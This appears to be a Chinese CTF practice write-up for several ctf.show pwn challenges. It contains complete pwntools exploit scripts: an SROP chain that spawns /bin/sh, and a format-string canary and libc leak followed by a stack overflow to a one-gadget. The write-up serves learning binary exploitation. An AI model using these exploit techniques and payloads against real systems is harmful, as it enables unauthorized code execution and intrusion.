PWN-PRACTICE-CTFSHOW-7

大吉大利杯-easyrop

栈溢出,SROP

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
context.arch="amd64" #32位和64位的sigframe结构不同,需要指定处理器架构
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28078)
elf=ELF("./pwn1")

syscall=0x4000DC #syscall gadget
buf=0x6000E0 #buf address
pop_rax=0x4000DB #pop rax;syscall gadget

sigframe = SigreturnFrame()
#sigreturn系统调用结束后,由pop恢复的寄存器值,可指定
sigframe.rax = constants.SYS_read 
sigframe.rdi = 0
sigframe.rsi = buf#输入数据的地址
sigframe.rdx = 0x300
sigframe.rsp = buf#这里设置新的栈顶与read输入的数据地址相同,ret从栈顶弹出一个地址到rip,于是控制了下一条执行指令的地址
sigframe.rip = syscall

io.recvuntil("Welcome to DJB easyrop!\n")
#正常输入数据的地址与返回地址在栈上的偏移为64,填充后rop
#pop_rax将rax赋值为15,然后会syscall,即sigreturn系统调用,将sigframe里设置的寄存器值赋为新的寄存器值
#新的rip为syscall,rax为constants.SYS_read,于是再次执行read系统调用,输入数据的地址为buf
payload="a"*64+p64(pop_rax)+p64(15)+str(sigframe)
io.send(payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x120 # "/bin/sh\x00"的地址
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

#上面再次执行的read系统调用,输入数据的地址为buf,因为第一个sigreturn设置栈顶rsp也为buf,于是ret要从buf处弹出一个地址到rip,,作为下一条指令的地址,于是输入到buf的数据首先为pop_rax和新的sigframe
payload=p64(pop_rax)+p64(15)+str(sigframe) #由ret回到pop rax;syscall 执行sigreturn,给寄存器赋值,然后再执行execve系统调用,rdi为"/bin/sh\x00"的地址
payload=payload.ljust(0x120,"\x00")+"/bin/sh\x00"
io.send(payload)

io.interactive()

大牛杯-guess

nc连上去,直接输入65538即可得到flag
guess-flag

吃鸡杯-win_pwn

exe程序,运行后随便输入一个长度为169的字符串,然后回车,即可得到flag
winpwn-flag

吃鸡杯-easy_canary

格式化字符串漏洞泄露canary和libc基地址,然后栈溢出覆盖返回地址到one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28140)
elf=ELF("./pwn1")

number=0x6B8B4567
io.sendlineafter("lucky number:\n",p32(number))

#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")

#泄露canary和libc基址
payload="%15$p,%21$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print("libc_base=="+hex(libc_base))
ogg=libc_base+0x45216

payload="a"*72+p64(canary)+"b"*8+p64(ogg)
io.sendline(payload)

io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

P1umH0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值